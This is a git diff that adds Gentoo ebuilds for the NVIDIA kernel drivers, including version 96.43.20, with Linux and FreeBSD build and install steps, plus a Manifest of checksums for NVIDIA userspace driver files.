+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		use x86-fbsd   && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+		use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+		NV_SRC="${S}/src"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use kernel_FreeBSD; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+
+	if use kernel_linux; then
+		if kernel_is lt 2 6 9 ; then
+			eerror "You must build this against 2.6.9 or higher kernels."
+		fi
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile
+	fi
+	if use pax_kernel; then
+		ewarn "Using PAX patches is not supported. You will be asked to"
+		ewarn "use a standard kernel should you have issues. Should you"
+		ewarn "need support with these patches, contact the PaX team."
+		epatch "${FILESDIR}"/nvidia-drivers-pax-const.patch
+		epatch "${FILESDIR}"/nvidia-drivers-pax-usercopy.patch
+	fi
+
+	if kernel_is ge 3 10 0; then
+		#epatch "${FILESDIR}/${PN}-319.23-3.10.patch"
+		ewarn "Should we keep this?"
+	fi
+
+	# Allow user patches so they can support RC kernels and whatever else
+	epatch_user
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use kernel_FreeBSD; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use kernel_FreeBSD; then
+		if use x86-fbsd; then
+			insinto /boot/modules
+			doins "${S}/src/nvidia.kld" || die
+		fi
+
+		exeinto /boot/modules
+		doexe "${S}/src/nvidia.ko" || die
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-96.43.20.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-96.43.20.ebuild
new file mode 100644
index 00000000..d1694146
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-96.43.20.ebuild
@@ -0,0 +1,199 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}-pkg0.run )
+	 amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}-pkg2.run )
+	 x86-fbsd? ( ftp://download.nvidia.com/freebsd/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	acpi? ( sys-power/acpid )"
+PDEPEND=""
+
+if use x86; then
+	PKG_V="-pkg0"
+	NV_PACKAGE="${X86_NV_PACKAGE}"
+elif use amd64; then
+	PKG_V="-pkg2"
+	NV_PACKAGE="${AMD64_NV_PACKAGE}"
+elif use x86-fbsd; then
+	PKG_V=""
+	NV_PACKAGE="${X86_FBSD_NV_PACKAGE}"
+fi
+
+S="${WORKDIR}/${NV_PACKAGE}${PKG_V}"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol 'lockdep_init_map' as GPL-only"
+		eerror "which will prevent ${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/usr/src/nv)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} HOST_CC=$(tc-getBUILD_CC)"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/usr/src/nv"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		mkdir "${S}"
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wpointer-arith::g' \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+}
+
+pkg_postinst() {
+	if use kernel_linux; then
+		linux-mod_pkg_postinst
+	fi
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+	echo
+}
+
+pkg_postrm() {
+	if use kernel_linux; then
+		linux-mod_pkg_postrm
+	fi
+}
diff --git a/x11-drivers/nvidia-userspace/Manifest b/x11-drivers/nvidia-userspace/Manifest
new file mode 100644
index 00000000..ff0bcb08
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/Manifest
@@ -0,0 +1,104 @@
+AUX 09nvidia 61 SHA256 14702d6726cc9f0ad832a3cc90059999eb956f9e3a35397cb63cfa6347b33e39 SHA512 14c47fa164bde3422b64224e3e46e0a6097599de6193b6d36eb162271d41130f0498f6aee09f5cb60fe43727bf74051f9127afa1b4af42efc28d40af2e4fa86f WHIRLPOOL 34bc9975d132da84506a61a119a5d8d8b5be35af5c1511b5e3228fa3d9f0f3b7f84821c0ab09252054d1471ac7901522309d440c82342d6dfdd2beb73f680460
+AUX 90mutter-disable-culling 110 SHA256 1002661324e8a958574a92c411c554d6f002d3faeac5d60d3b6602580c266b69 SHA512 c3d61f276cc7520c99d493764df24bfa0f4e0d41763057c8d53b221ca2767e062ad79fa7125195bf520054e33645350a227b5dd6120134e1fcba86fa4986a969 WHIRLPOOL c408a20e5f06b574413543466be7d2c584020ce1c2087fe961e427f9d65561c9164a2fa41debc10cdc31006661b0af3d6a87f76c50778b9659bebee5e00c41d9
+AUX NVIDIA_glx-defines.patch 437 SHA256 0007f3d962edb87da4788ce58869679c1b10f28223a6bf1c23696fede57305da SHA512 a9cbbe5d5d362db0eb92d5b9fe87f28cccb600df9b44ae2b323ed08da97c32d6a4a0553c7c82ea3777ab91a1a4bf6b74f04d89b6ec28e60565e677cc4af48351 WHIRLPOOL a826b11c86803530346a65612ebd1a12f77f6c6ba1d93af597435993086451648b825fbc245a2c5850e0680c58129924843744d7e29013d5087c3b4dd9fefb14
+AUX NVIDIA_glx-glheader.patch 380 SHA256 f630e24067bf6199a64f8fe8c5d6fc158cb4b153bda65ffc3f97b36a9cb08faf SHA512 366ebbe967001f4d694e9d6ae61fbd8b57e2946bba495894936809634bb87bd6ba6b10689969977e4d0eaba6983c16fe8d78830112b5b28f01c78381a0a095d6 WHIRLPOOL 8609fcedb439299189d9d05606a290a63de8b207bab855f874faa36e892396f41159d26e505dfead89fdac9d7e61aeeb50b16877aa14ad62dc3cd617353d7d60
+AUX eblits/donvidia.eblit 695 SHA256 d404dd7e5657d83ccf3687720fb978030a3716e47957fb8bb80dea3ed57b3672 SHA512 606d2a496ddae2ac89d3ac0ce5b80bac90cabfe74d6b29c577ab047c3b83ce8965bb4b91b29f37bf55d4f34eaab623ac886760920efb9d306d3904cb3b51291c WHIRLPOOL e0a945c4cbaa0514e19eecf8faa4daaa76c8fc6392fb9a2a607e011e7994c535a3ba4b024de9ee9f4f34c7d4e0d48a0c3315f4cf9687be05fb577ec8dd3c0fe2
+AUX eblits/mtrr_check.eblit 629 SHA256 ae1b8fb37985fc3e42a4a776779b3fe3d70be2c826df5c3f99d03ba7209ca0b1 SHA512 db1bcee808c616536e21f98d65cd0c2b64b26b8b0db827decfc8fe12b031431bf961f1f2016a22170b9400672aeb508f548a66c15018570b44fe1cd535692f86 WHIRLPOOL 4f4961dc5aa71f273871f9171f485aaf5dd27906a564e1967b9298362b2302d9b137a757c6e6918b4b3d1efef75b0ed266f08d83c898e0a1f2b47653e1ca7335
+AUX eblits/src_install-libs.eblit 3472 SHA256 6f301de374736cec316794bf1935a15de025b3c505981f24e06e3df75818ad6a SHA512 f3dd0cb69276cec6f2b7cbb452c77c8e0a82fc37514c31a21fb9a251e38027e4adfdda6ca8b1897635897608a0e70c81f03ff88466a7db1387ed7a4241924ce8 WHIRLPOOL a2e84fba09347bec9b27129f02311696938ad5ca61fa7ff8d9efa10ad9c63a01a622cba1d08b1e166c737e88b50add234c7c0d59b88e5b64442269a7dd47cbf8
+AUX eblits/want_tls.eblit 952 SHA256 e5ce767a2e9a5c0682e764b9ba42a20e721a093f4c0626605570c8b5e3afecd0 SHA512 eafa21a324f095e3d80ac0385c1a5159011a57e3aa2465927c71524c6329147f2ee804f6b0772d4ad97083637451df397be0da748d8674d5be42b308fb25ae2d WHIRLPOOL 8291d0fa548518926252fafabaa0ebbfd7ac165b380650beeed17c86918f95d658a3daadab6c4bde0adbdf1ce7b63a88ed6135cfcf9dceb4798f0b1ccefc8fcc
+AUX libGL.la-r2 733 SHA256 4856e7a2c31763ade41c93a395f3e80a2705ac2ab4dbd73e5161cdba132f407b SHA512 52fbc3d704274fc5403b95a5d696824684302f4a77e0b08d5a59850435b12d9bdc4cf931f346f91e950f246cc342e0a673e7657cc2cea95e991ed3aab8c1c928 WHIRLPOOL 6a0006277a8444b4b5191a7e07c972efde43c3a9ff8a7286d1d1f78c69c3ba394572f31716b684f1e28355572a6e9f9cbd5437bb9dba127d727f8789fbd2a980
+AUX nvidia 1510 SHA256 b193cc3f6d6f39138720a2282d9f161fc8f2e8a15bc43d183a30eb879add06c5 SHA512 4ffdf49c2634b261be122a0016b0f69d30db6fe4b4a29767cfeee2e1d60671e7e6fc5e5c3a237b351a4def64404db121cf296a0cdb6e1bbd4f8e78ab40587000 WHIRLPOOL faab4c87940e4703b2a30f284cae34bdf4ac486cb1d402b5bd91ef65c23f443c2c961ad914fbcbd5258dd5bbaeee583f189fcf5fc14f2b9925c8ccfa0fc422c7
+AUX nvidia-169.07 639 SHA256 a8c4860f008d53776fda7a17b59524f271236559af688e9a2c9845cbbcba1577 SHA512 3af295c026280dc3a2b73c2cc7772254686b09cad15f1333ab0b4de8cb0ccf78e725ced2a399b10edcf8af6ba42ab1485dc0661af67461b0c3789f786357772f WHIRLPOOL 626ae3c01c879e0cfe05bd373e0b9dfd6f462dd9ef6ae94a7d60276fe2d17c57fbb20aaa4d2a186a0ffc2a860076692aac854d00a3545bc9736e7bb8d0581055
+AUX nvidia-smi.init 671 SHA256 5776a661b510e072d34e779c23dfc710a13d04c49acc22772d2aeb0e415820d6 SHA512 f71bcdf2fcaf4aac69056a04f3e57c9f5e4d6c210fe571704d3f9a0798cc9615cd0560840ae336744f43563528db5b9a7b67730895eff438be330b13ab863ed6 WHIRLPOOL db48549b0d2b02d2f9ca6a86f38229dae67853939ac1c2147d5066b9b8958c2e0fb8539f70ddf5c92ae6ad642bb48ea8b1119d1779c80dd66bb450240fd0b40a
+AUX nvidia-udev.sh 185 SHA256 120c0af2b64fbcbd7032217a78eec8b104874c1ca68726367bce22c57944e07e SHA512 166df3a4e7c1862ca2e0f634bf5eed7aad1bdd7e55764ca42371b91a7077c59f0bc243de5616fd38dac9694159d1695d54fbd08ac89d4d3f3649c70c7db5977e WHIRLPOOL cb9995029cdb2fe1bc7fe5ae54041ee5de8da86bf5eb3616d062475e56c44d436e1e66683ecddd986fc5bca5723d88da4b1a42f65f3cd7e15636928bd21fce14
+AUX nvidia.udev-rule 462 SHA256 37b152a5055a16d1947171567178e2841679ddf03dba9d48e7d30f1e3b469ac6 SHA512 96f9edaa0b46bea5fce17596f868bea5265b303d7185af6ba81527bbd7b8fdf92de9311317cbde51a29d222083d451c25ab77c3d6837cbc4072a50d9af89aa86 WHIRLPOOL 89ed95f33db7485a3a1acd91df33ecdfb7d0a249db2d7674f134fb85b35a54653d0458e478503315ce506ae5d3c8dcd4ac20420711fdbdd087ea4bd779627d13
+DIST NVIDIA-FreeBSD-x86-173.14.31.tar.gz 17991684 SHA256 98699bc8dc1dad86cebc2ed067b4fc5cd37b8540e897bb218f38ac80c4b4d875 SHA512 4e6fbbeaff54563a135346e60372046cb2cd2562cc606836dc3169d4f50c0b112095b1f0f3f14f2f0facf2be1235064c13766432a04b927f2ab81ef50c8f4f34 WHIRLPOOL 0cc4f196d7ccbdd45f8584fef9f98dd1af2fa260a8e694a6000e5436ae2ab35df6ba5f8967261e36f0107962744423fc73eef9d0e59807f78536ecf8de0f5963
+DIST NVIDIA-FreeBSD-x86-173.14.34.tar.gz 18792829 SHA256 44368464ad72addb999aa7bf3a1d684d4cddd1bba08d7bca9e45a825cb8865ae
+DIST NVIDIA-FreeBSD-x86-173.14.35.tar.gz 18748428 SHA256 51e82a12db81b5af4ae5ee59612875c0dbef52cb641d61a44c72f2e1cd7f4c78
+DIST NVIDIA-FreeBSD-x86-275.09.07.tar.gz 30304023 SHA256 d5d119c2f066539da0f2d1926193f6bc2bfbf2a1dcdff77322a23b42c5df91d9
+DIST NVIDIA-FreeBSD-x86-280.13.tar.gz 29589886 SHA256 2ad1882467a2d8a0b65dfa15e710e4938786e51f688e1d02d4d3343868b9239e
+DIST NVIDIA-FreeBSD-x86-285.05.09.tar.gz 30697710 SHA256 d3ad51145cd57c70678ee659112a0973187b1b02e3062addadd0fe094b3c46fb
+DIST NVIDIA-FreeBSD-x86-290.10.tar.gz 32042469 SHA256 f5accbdac0b231a8073f76c1d1d8ace7cb98ebe167888c31183a2752a669ee92
+DIST NVIDIA-FreeBSD-x86-295.20.tar.gz 31993959 SHA256 fea6d5552a50e2aedc4726944fea85ac8baf0d0b26661fc3b1f97f54ebec6736
+DIST NVIDIA-FreeBSD-x86-295.33.tar.gz 32039170 SHA256 e3f8052fdac78defafcef495febea2a77f820f2c4c9ecbe47fb92bf630321afc
+DIST NVIDIA-FreeBSD-x86-295.40.tar.gz 32029253 SHA256 f47b603f39dfd2e405949aab6fbc7abd4b24f43c6fb47b4f23d7618f32021364
+DIST NVIDIA-FreeBSD-x86-295.49.tar.gz 32078716 SHA256 aa7c9a13931a55e358c542e1d18feb0aeaa7b18550e9675698b152265134d938
+DIST NVIDIA-FreeBSD-x86-295.53.tar.gz 32085530 SHA256 ecb637754ec31a0c058017e04b363abb831b96584ca9684b676a93ecb5af93ca
+DIST NVIDIA-FreeBSD-x86-295.59.tar.gz 32092806 SHA256 9a3e1794418add03ad97aad93608d1bc1f2f9c5a82e0321a2a8ba1c9db7d41dd
+DIST NVIDIA-FreeBSD-x86-302.17.tar.gz 32072917 SHA256 b0d50c3333ee7c485bfd5287b37e253ed358dd5d205997f0c50e16f04b7714c5
+DIST NVIDIA-FreeBSD-x86-304.22.tar.gz 32975645 SHA256 20a84c23339695fe73d9be977662b19572360d8d87b54aeca428f73e2510c1e5 SHA512 15788983073427a9729b61a37b684c37bafd57618bbacec40fe8f9bd0a3f6f30d417297dee5e3ca287f0b71c74bbe03163edef048f8ad38cf2493124820244dd WHIRLPOOL f823ce885ebcd8ab9af427487c8dfffe5cc7adc61e1c4af31371b808df449584df1f571310610e901bc83c4e52cb553d2a71d0ae5e3fadfadf56ce1a97447484
+DIST NVIDIA-FreeBSD-x86-304.37.tar.gz 33291575 SHA256 e6c3a1d4a757b5d4f2ab54a43d5d7008fcb1b481f14515f58adcd31f3edc6576
+DIST NVIDIA-FreeBSD-x86-304.88.tar.gz 33651825 SHA256 739325b26a93d934d015159c420ef1875a24ccd62a5bb482e688cf918d4fa33d SHA512 6dab929d2d2bacfc3a96ab24ff02996938613851e2b3c050ed3a1d0cca3751c574f12508e21119f2b43ff0421c3f88bf4edd51a37f3374c72c6337bcb8d6bcdb WHIRLPOOL b9be513a8dd8ce4cd6eeb23a24e725c751bb2cce0745477df2b4b84d7d03ad557d0b16bcdfb8d642168de09d59b057cb2955fca11f50b281ebad92f30a7dc4e1
+DIST NVIDIA-FreeBSD-x86-310.19.tar.gz 32264033 SHA256 29635a45e87fd240d472868dcd1ff9030f7eb85d78ffe85dea0f420be390d3e0 SHA512 77fd63c0c2cca5462c7e969e300f027dff9cb60f4234868f42317604d537a7bccb2631958f2a0cf74f46ee685d8f2a25f3dab2792be00a5c638d9756deb5a582 WHIRLPOOL bc896389ed9ad32e8e2e087476a3bafac9f828b8a1167c7b99cd58688d56d5454717dbe99b83fa1eca3111a80ffa9f721332364c8fdf95c02f4c5e05f989248f
+DIST NVIDIA-FreeBSD-x86-313.30.tar.gz 32591892 SHA256 1e02831fbaddf2f27808ea26352d835417f59bcf54ddb3e9c0f1d7b76dcb4666 SHA512 68cf61fabf707dfa1225011cab3749959ab29f09f611347eb9f9bd55065012d04382998e67091c4d3c1af9be21be6381aef9b6414448ee15f9a36d44448f5bf8 WHIRLPOOL 71ded70f45e880db2c2850c596cebafd004adf89f7131adaf324d1d38abbb5457a700bfa9e671bfa144515556f011df8a37fdf22b78b879f39007be6487f060a
+DIST NVIDIA-FreeBSD-x86-325.15.tar.gz 34164781 SHA256 745d8454833d1ad59f6480ac2d1ca744862e4e711e16deeebc0d04ff86925c4d SHA512 b1ce1041d7f3a926c3e62e398a618063e24675cdd919206c11e556f38d3b0078233ba31207d04e9d94e26bbf5eae4d43f8db457e7ac4fecfb8d407d2dbbf3040 WHIRLPOOL 9a37ecaa745ab9ff80755f01100610f85467fdfb55f5568dd358cb39302c0951edd91d518f1027bb0d43628e575ff9c1799ad956b9e673a31d38f7f3db125c63
+DIST NVIDIA-FreeBSD-x86-96.43.20.tar.gz 14060884 SHA256 e75fce272e72644d53e6ad3c0957fe173735a4b621726ce227ba8ecf9bd9c5cf
+DIST NVIDIA-FreeBSD-x86_64-304.37.tar.gz 34210803 SHA256 0d00046c8463954b6c8e13e245b2619758e947389161a113aa005ef7566e5dd3
+DIST NVIDIA-FreeBSD-x86_64-304.88.tar.gz 34597351 SHA256 be0e20a543fa14a8f91481dd64b080093b19edf951bf631c62365a64dadb1934 SHA512 143af863aef72962d83c6f77160512d0860a62964e92043400674b0be95735ae6f2dbdd25c42fa96b4511cece9c73b7072f829a88d46ab6b79aa750b65e64748 WHIRLPOOL 74b5014736065e178b261716e81f367395252efb3aa3b84faab6b6d26f561caa129e1d9bc0e02ce98f83dcaa3603fddd155de4b50e760bf2ea8df4c176b21e76
+DIST NVIDIA-FreeBSD-x86_64-310.19.tar.gz 33184883 SHA256 82607fdd14c666867b842205be3ec8b8095fb0c9da1cb2286b0bf85a769eb9ae SHA512 5f112a4dbb379977c9b1417536964d02498cb9d4a4ff3c35291dfaa5c90fcc8b2073ec75a1db9358c98686661d525db5e7e42036500281d09a1be608f9c2b851 WHIRLPOOL 3b629c57cc63319b18805fb67ebf75d07907a52b2c1d7cad12cca8837c29e6557c772c416d52d15f1e8f7b01b65b8a7728bd4cf5c0da890644e3151421fb901d
+DIST NVIDIA-FreeBSD-x86_64-313.30.tar.gz 33557658 SHA256 192ad1bb8a0cd649e12bcccf97c5f4d2002d6695126fea81586991d9e95248d3 SHA512 79b3b47bdcbc99f724f8c424733c11f1b2653103bbe0ba9849587628611d9da08ea434c786cc7d3d891bde3dfe4068298a7377ce5b1a3484fb64ef4d28c896da WHIRLPOOL 7307d6adb04b47b8403134e7394bf9af4f90839d1fb62aa3b7b7c6d8e367392829fb249dc8d444e66158fa5b5b15cf5b6c16e1f5659a22a15c17f55eda026660
+DIST NVIDIA-FreeBSD-x86_64-325.15.tar.gz 34590166 SHA256 92429119ca8e50baa06c6681ed2b9eb6c37cdf256a19ba4e1827be4b202a0569 SHA512 c9e4d41a5dcb02a280fb323fd4578bc7851d4242890f1d8e69a59e083a2a76cccdaba3ed55f8eb8f983e9c89326f0a9d7152bd7770230fbe45fc7b5865c486b6 WHIRLPOOL c54638af7fb6aaf63222ea75cc377e5e449dfaa80dd47a23aed2eec8da1c460c9e3c24627a2853287585a65b0f562e3efc7916fe985a4816d82aebc12bf7021b
+DIST NVIDIA-Linux-x86-173.14.31-pkg0.run 13407481 SHA256 e855a62f16a9d0eff1bf470a8fcedd48cd1b718e969ad5ebe89a557d039d1924 SHA512 bb58aa1ee84c71311a7b5cd3d87fa2827b6b41bb4645849611381ce7e255516da66fff9cc9a295a39ea185668d7f91fde0eaf56a18b04ae67ae468e1e509bc46 WHIRLPOOL d9a28dd96bf77051e6cf91a1b29c59fac716e14f3d3726867ecd9e43ac90d62d4ace0f0add7aff619f4933a8dc9e87734df3fcb5483db62bf99a77320d4e2f33
+DIST NVIDIA-Linux-x86-173.14.34-pkg0.run 14071464 SHA256 a873b7a28b1d83fcb7a97e4d5fcb471bb96bb5094bcd5e86c728ec22b49b258e
+DIST NVIDIA-Linux-x86-173.14.35-pkg0.run 14028887 SHA256 2d26100f7691047e424e1614deca0f1d862da5fa69e04e967f0c1dbb84ec729a
+DIST NVIDIA-Linux-x86-275.09.07.run 30930605 SHA256 27d1b2073c11bd56e423ed80bd22773f1f282c39ab3b76773144cfa680a1ff0c
+DIST NVIDIA-Linux-x86-280.13.run 32704856 SHA256 b222afe19c6310f1aa2a2574f27fa9e2b877738177daa60162bb5705758bac9b
+DIST NVIDIA-Linux-x86-285.05.09.run 33592492 SHA256 ce03fa99b62081b52bd5dae3594ac5942413ed530cda3d76a82f4ab0afd36f96
+DIST NVIDIA-Linux-x86-290.10.run 34691272 SHA256 99be8f53aa1f777445e5a4cac27acd7d85990db712b5c29caac865145fc5adaa
+DIST NVIDIA-Linux-x86-295.20.run 34641353 SHA256 0f9dc3d493053cffe37f72b6783edc6c14afd31532b43a7cf0bfce763cf2d500
+DIST NVIDIA-Linux-x86-295.33.run 34675369 SHA256 90a866c9c2f3904bc25b7a5829f8b40a419e60a79ad13c980b48d3bf89625a47
+DIST NVIDIA-Linux-x86-295.40.run 34668138 SHA256 ccd46574dd843a50327f50daa6f0b635ad7eca4a5b9a5fa963d0871bfa74ce2a
+DIST NVIDIA-Linux-x86-295.49.run 34716936 SHA256 f13b44725f4904ed3f5250d733b45b5815f54e8b588dfe6c6180918e80f35c6a
+DIST NVIDIA-Linux-x86-295.53.run 34718461 SHA256 0040096216ac6f8695743c9124a067787d30947f7c64f2734bac474f5af0b0a0
+DIST NVIDIA-Linux-x86-295.59.run 34730118 SHA256 084bbb76c57d5c2a5b780322a95dcc230ec6e25b4f6c176574a93621399ce5a0
+DIST NVIDIA-Linux-x86-302.17.run 34598956 SHA256 3525d3814361bd202998cea2962bb3d1bb3419206d02fd8ac30d61358c1a284f
+DIST NVIDIA-Linux-x86-304.22.run 35433519 SHA256 174be68a403f234cadd6dbac785459f7a7463989050fa4e6c92ed65b638ededb SHA512 885a0a8a7ecc387a9bbb806b2f36942d7bee2bdfdb784169490b72667db4218b76e19b4ebdecf107e1498f8e1d5544e3d44ae6b02cc6d6855431602e4afc3064 WHIRLPOOL ab691f2aded714b38afad1f6ff966dcb016cb409e4b78c37137aac439c06d2df112b74d72abf205526b65cae7d90a7e5f5081426d29e1cd310139511b77794c4
+DIST NVIDIA-Linux-x86-304.37.run 39349097 SHA256 ab3174a0c9ab37a8fc3f4a8fc1121d72fbdd5e00ddecf44f7dbd84bb8d51b337
+DIST NVIDIA-Linux-x86-304.88.run 39682604 SHA256 71e10294f073e31a387da4282b95cdde5fbfc996cb1c564f290eb0df1289b7cb SHA512 ba6f0236aead2f5161c94c7eaffb2497815ba1a7cbf872ae37d620d66533d4847acb6dfcc230e2b751aa9717ae552940ed6d3da1a9209aa54f6a810e3f551e49 WHIRLPOOL 9c2e0438630e86ca8c7aa2f26928113e5f15dcf808be8a4c2e937fd04b8d1aa7304bda714580834cc5ef4dc57304f41be62b55ee75545b9cfca3533b6db737e6
+DIST NVIDIA-Linux-x86-310.19.run 38581112 SHA256 85d082c06a1ea07f514d22c0de4d5d2af065bcac37c377c3d755904bbf780c2f SHA512 ef24e695b76b57cee1d13601c5856fe723da9da678e0f78739f0e291c5d00cea9e0da5b110f4125a79edd420127fed0a48883eaad591ed16e6660b139b7cb289 WHIRLPOOL 064bf26184b644210f565ad9b1b400abb26b9c8b61b519d2831ce04128fcc58c57e9474bb2ec5f3d935799857a1ca4c3273b68a36aca1d2285318f2679251f5e
+DIST NVIDIA-Linux-x86-313.30.run 38845860 SHA256 0a0f10979b1bca8e4a244e204b58aeb9a580924a9dd7b11b21d15abfe1ad49ad SHA512 c3b07e7186fcf5a1f3e73f4e9510dddff2a42c0202bc471a946e38e636af27b2d17206b7105a7a80179fc17ebceab6c2802ff6ddaabae9e16a930dfa1252a2db WHIRLPOOL 2d4402883a480ae3050af18f3fe1aec4110132aa4eda0ce9675f79471a526e8b90b9ebe6a0a5c76321474be6ace963520b903cf809835472649b095be757ec52
